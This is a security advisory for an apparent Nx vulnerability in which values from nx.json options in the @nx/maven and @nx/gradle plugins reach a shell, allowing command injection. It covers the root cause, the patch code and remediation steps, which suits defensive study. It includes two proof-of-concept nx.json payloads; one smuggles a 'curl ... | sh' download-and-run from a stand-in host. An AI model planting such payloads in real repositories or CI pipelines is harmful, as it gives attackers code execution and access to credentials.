CVE-2026-119282: OS Command Injection via Plugin Options in Nx (@nx/maven and @nx/gradle)

Nx is an extensible build system and monorepo management tool designed for TypeScript and polyglot codebases. To support Java-based projects within a monorepo, Nx provides the @nx/maven and @nx/gradle plugins. These plugins inspect the repository structure and build files (pom.xml or build.gradle) to construct an internal project dependency graph before executing tasks.

During project graph construction, the plugins invoke the respective build system binaries or repository wrappers (./mvnw, mvnw.cmd, ./gradlew, gradlew.bat, mvn, or gradle). To configure how these analyzers interact with the underlying Java projects, developers define plugin options inside the root nx.json configuration file. These options control parameters such as task target prefixes and custom Gradle properties.

In versions prior to 22.7.9 and 23.1.2, the project-graph analyzers in @nx/maven and @nx/gradle spawn these child processes using Node.js child process primitives configured with shell: true or via direct shell command string execution. Because the plugins interpolate configuration values from nx.json directly into the command arguments without sanitization or escaping, the system shell interprets shell metacharacters contained within those options.

This design flaw introduces an OS Command Injection (CWE-78) and Argument Injection (CWE-88) vulnerability. Any developer or automated Continuous Integration (CI) runner that executes an Nx command capable of triggering project graph creation inside a repository containing a modified nx.json file will execute attacker-controlled commands under the local user context.

The root cause of CVE-2026-119282 is the combination of unvalidated string interpolation from an untrusted configuration source (nx.json) and the invocation of Node.js child process functions (spawn, execFile, and execSync) with shell evaluation enabled. In Node.js, passing { shell: true } to child_process.spawn or child_process.execFile causes the runtime to concatenate the executable path and the arguments array into a single command string, which is then passed to /bin/sh -c on POSIX systems or cmd.exe /d /s /c on Windows.

Because the arguments array is flattened into a shell command string, the boundary between discrete command-line arguments is lost. Any shell metacharacters (such as ;, &, |, `, $(), or newline characters) present in the interpolated configuration values are parsed as command delimiters or subshell expansions by the underlying OS command interpreter.

Three distinct execution sinks across @nx/maven and @nx/gradle exhibit this flaw:

1. Maven Project Graph Analyzer (packages/maven/src/plugins/maven-analyzer.ts): The analyzer constructs an arguments array for Maven and interpolates the targetNamePrefix option directly via -DtargetNamePrefix=${options.targetNamePrefix}. It then invokes spawn(mavenExecutable, mavenArgs, { shell: true }). When /bin/sh or cmd.exe parses the resulting string, metacharacters in targetNamePrefix break out of the -D property definition and execute subsequent commands.
2. Maven Executable Detection (packages/maven/src/utils/detect-maven-executable.ts): When verifying the presence of a Maven binary, the utility calls execSync(\$ --version`). Because execSyncalways invokes a subshell and interpolates theexecutable` variable via a template literal, any control characters in the executable path or name are evaluated by the shell.
3. Gradle Execution Utility (packages/gradle/src/utils/exec-gradle.ts): The Gradle plugin iterates over all key-value pairs defined in GradlePluginOptions within get-project-graph-lines.ts and formats each entry as a project property argument: -P${key}=${value}. Because the TypeScript interface for GradlePluginOptions includes an open index signature ([key: string]: any), arbitrary property names and values from nx.json are accepted and passed to execFile(gradleBinaryPath, args, { shell: true }). Consequently, shell injection can occur through either the option key or the option value.

The vulnerability was addressed in Pull Request #36626 across commits 02c5d59e8dbbbe30963c0181c6a22cd8c1190a25, 60196b7cfcffcada35b6b90e53bf1a78d049b548, and c227f4780b054c512965c73aa480a48f9f781409. Because Windows requires cmd.exe to execute .cmd and .bat wrapper scripts (such as mvnw.cmd and gradlew.bat) following Node.js security changes for CVE-2024-27980, the maintainers could not simply set shell: false globally without breaking Windows compatibility.

To solve this across platforms, the patch introduces a centralized process execution utility in packages/nx/src/utils/safe-spawn.ts and exports safeSpawn and safeExecFileSync through @nx/devkit/internal.

// packages/nx/src/utils/safe-spawn.ts (Introduced in Patch)
export function safeSpawn(
  command: string,
  args: readonly string[] = [],
  options: SafeSpawnOptions = {}
): ChildProcess {
  assertNoNewlines(command, 'command');
  for (const arg of args) {
    assertNoNewlines(arg, 'argument');
  }
 
  // Only use a shell on Windows when executing .cmd/.bat shims or bare commands
  if (shouldUseShellOnWindows(command)) {
    const quotedCommand = quoteShellArg(command);
    const quotedArgs = args.map((a) => quoteShellArg(a));
    return spawn(quotedCommand, quotedArgs, {
      ...options,
      shell: true,
      windowsVerbatimArguments: true,
    });
  }
 
  // On POSIX and for native Windows .exe binaries, never invoke a shell
  return spawn(command, args, {
    ...options,
    shell: false,
  });
}

In safe-spawn.ts, the type definition SafeSpawnOptions explicitly omits the shell property (Omit<SpawnOptions, 'shell'>), preventing callers from re-enabling shell interpretation. On POSIX systems (Linux, macOS), safeSpawn enforces shell: false, ensuring that command and args are passed directly to the OS kernel via execve as discrete string pointers. On Windows, if a batch file requires cmd.exe, every argument is validated to reject and characters (which cannot be safely escaped inside cmd.exe double quotes) and wrapped via quoteShellArg.

In @nx/maven, the vulnerable spawn call in maven-analyzer.ts and execSync call in detect-maven-executable.ts were replaced with the hardened wrappers:

// packages/maven/src/plugins/maven-analyzer.ts
- import { spawn } from 'child_process';
+ import { safeSpawn } from '@nx/devkit/internal';
 
  // Vulnerable invocation prior to 22.7.9 / 23.1.2:
- const child = spawn(mavenExecutable, mavenArgs, {
-   cwd: workspaceRoot,
-   stdio: ['ignore', 'pipe', 'pipe'],
-   shell: true,
-   windowsHide: true,
- });
 
  // Patched invocation:
+ const child = safeSpawn(mavenExecutable, mavenArgs, {
+   cwd: workspaceRoot,
+   stdio: ['ignore', 'pipe', 'pipe'],
+   windowsHide: true,
+ });

// packages/maven/src/utils/detect-maven-executable.ts
- import { execSync } from 'child_process';
+ import { safeExecFileSync } from '@nx/devkit/internal';
 
- execSync(`${executable} --version`, {
+ safeExecFileSync(executable, ['--version'], {
    cwd: workspaceRoot,
    stdio: 'ignore',
    windowsHide: true,
  });

Similarly, in @nx/gradle, the vulnerable execFile call with shell: true inside packages/gradle/src/utils/exec-gradle.ts was refactored to use safeSpawn and handle process stream events directly:

// packages/gradle/src/utils/exec-gradle.ts
- import { execFile } from 'node:child_process';
+ import { safeSpawn } from '@nx/devkit/internal';
 
- const child = execFile(
-   gradleBinaryPath,
-   args.filter(Boolean) as string[],
-   {
-     cwd: workspaceRoot,
-     shell: true,
-     windowsHide: true,
-     maxBuffer: LARGE_BUFFER,
-     env: { ...process.env, ... execFileOptions.env },
-   },
-   callback
- );
+ const child = safeSpawn(
+   gradleBinaryPath,
+   args.filter(Boolean) as string[],
+   {
+     cwd: workspaceRoot,
+     stdio: ['ignore', 'pipe', 'pipe'],
+     windowsHide: true,
+     env: { ...process.env, ...execFileOptions.env },
+   }
+ );

> [!NOTE] > Fix Completeness Assessment: By decoupling argument passing from shell evaluation on POSIX systems and enforcing strict newline rejection and quoting for Windows batch shims, the patch neutralizes shell command injection (CWE-78). However, because user-controlled keys and values from nx.json are still passed as -D or -P flags to the underlying mvn and gradle binaries, attackers who already control repository contents can still pass arbitrary properties to Maven or Gradle—though in a local repository context, an attacker who can modify repository files could also directly modify pom.xml or build.gradle if those files are not separately restricted by CODEOWNERS.

Exploiting CVE-2026-119282 requires an attacker to supply or modify the nx.json configuration file in a workspace where either @nx/maven or @nx/gradle is installed in node_modules. This scenario typically occurs when a developer clones an untrusted repository, checks out a malicious pull request locally, or when an automated CI/CD pipeline runs an Nx command (such as nx affected, nx graph, nx build, or nx test) on an untrusted pull request from a fork.

Crucially, exploitation occurs during the project graph calculation phase, before any actual build target or task is executed. Even read-only inspection commands like nx graph or nx show projects will trigger the analyzer plugins and detonate the payload.

Scenario 1: Exploiting @nx/maven via targetNamePrefix

In a workspace with @nx/maven installed, the attacker modifies nx.json to include a shell command separator (;, |, or &&) inside the targetNamePrefix option:

{
  "plugins": [
    {
      "plugin": "@nx/maven",
      "options": {
        "targetNamePrefix": "mvn-; id > /tmp/nx_maven_pwned #"
      }
    }
  ]
}

When nx show projects is executed, @nx/maven constructs the command string and passes it to /bin/sh -c. The shell splits the command at the semicolon, runs id > /tmp/nx_maven_pwned, and comments out the trailing arguments with #.

Scenario 2: Exploiting @nx/gradle via Arbitrary Option Keys or Values

In a workspace with @nx/gradle installed, the plugin maps every property in the options object into a -P<key>=<value> argument. An attacker can place the payload in either the property key or value:

{
  "plugins": [
    {
      "plugin": "@nx/gradle",
      "options": {
        "x; curl -s http://192.0.2.10/payload.sh | sh #": "true"
      }
    }
  ]
}

When the victim runs an Nx command, exec-gradle.ts invokes the shell with -Px; curl -s http://192.0.2.10/payload.sh | sh #=true, executing the injected pipeline under the victim's user account.

The vulnerability is rated HIGH severity with a CVSS v4.0 score of 7.3 (CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

• Attack Vector (Local - AV:L) & User Interaction (Passive - UI:P): Exploitation requires local execution of the nx CLI against an attacker-controlled repository or branch.
• Attack Requirements (Present - AT:P): The target environment must have @nx/maven or @nx/gradle present and registered in nx.json. Workspaces that do not use either Java plugin are not affected.
• Confidentiality, Integrity, and Availability Impact (High - VC:H/VI:H/VA:H): Successful exploitation grants arbitrary code execution with the full privileges of the user or service account invoking Nx.

In a developer workstation scenario, an attacker can compromise local SSH keys, cloud provider credentials (~/.aws/credentials), NPM/GitHub tokens, and source code across the host. In a CI/CD environment (such as GitHub Actions workflows triggered on pull_request_target or self-hosted runners), the attacker can exfiltrate repository secrets, modify build artifacts, or pivot into internal build infrastructure.

In particular, organizations that rely on GitHub CODEOWNERS to restrict modifications to pom.xml, build.gradle, or .github/workflows while leaving nx.json unguarded or reviewed by less privileged teams face an elevation-of-privilege risk within their CI pipelines.

According to FIRST EPSS metrics, the probability of opportunistic exploitation in the wild is 0.14% (3.38th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. This reflects the targeted delivery mechanism required for build-tool vulnerabilities compared to network-exposed services.

To remediate CVE-2026-119282, users must upgrade both the core nx package and the affected @nx/maven and/or @nx/gradle plugins to matching patched versions:

• For Nx 22.x: Upgrade to 22.7.9 or later.
• For Nx 23.x: Upgrade to 23.1.2 or later.

> [!WARNING] > Upgrading only @nx/maven or @nx/gradle without upgrading the core nx (and @nx/devkit) package is insufficient and will cause runtime module resolution failures. The patched plugins depend directly on the safeSpawn and safeExecFileSync functions exported by @nx/devkit/internal in the updated core release.

Automated Migration

Use the built-in Nx migration command to update nx and all synchronized plugins simultaneously:

# For workspaces on the 22.x release line
nx migrate 22.7.9
npm install
 
# For workspaces on the 23.x release line
nx migrate 23.1.2
npm install

Workarounds and Defense-in-Depth

If immediate upgrading is not possible, implement the following controls:

1. Protect nx.json via CODEOWNERS: Add /nx.json to your repository's .github/CODEOWNERS file so that changes to plugin configurations require explicit security or build-owner review before merge.
2. Restrict Untrusted CI Execution: Do not execute nx commands (including nx affected or nx graph) inside privileged CI workflows (such as pull_request_target) against unverified code from external forks.
3. Audit Plugin Options: Inspect nx.json before running local Nx commands on untrusted branches to verify that @nx/maven and @nx/gradle option blocks contain only alphanumeric characters, hyphens, and underscores.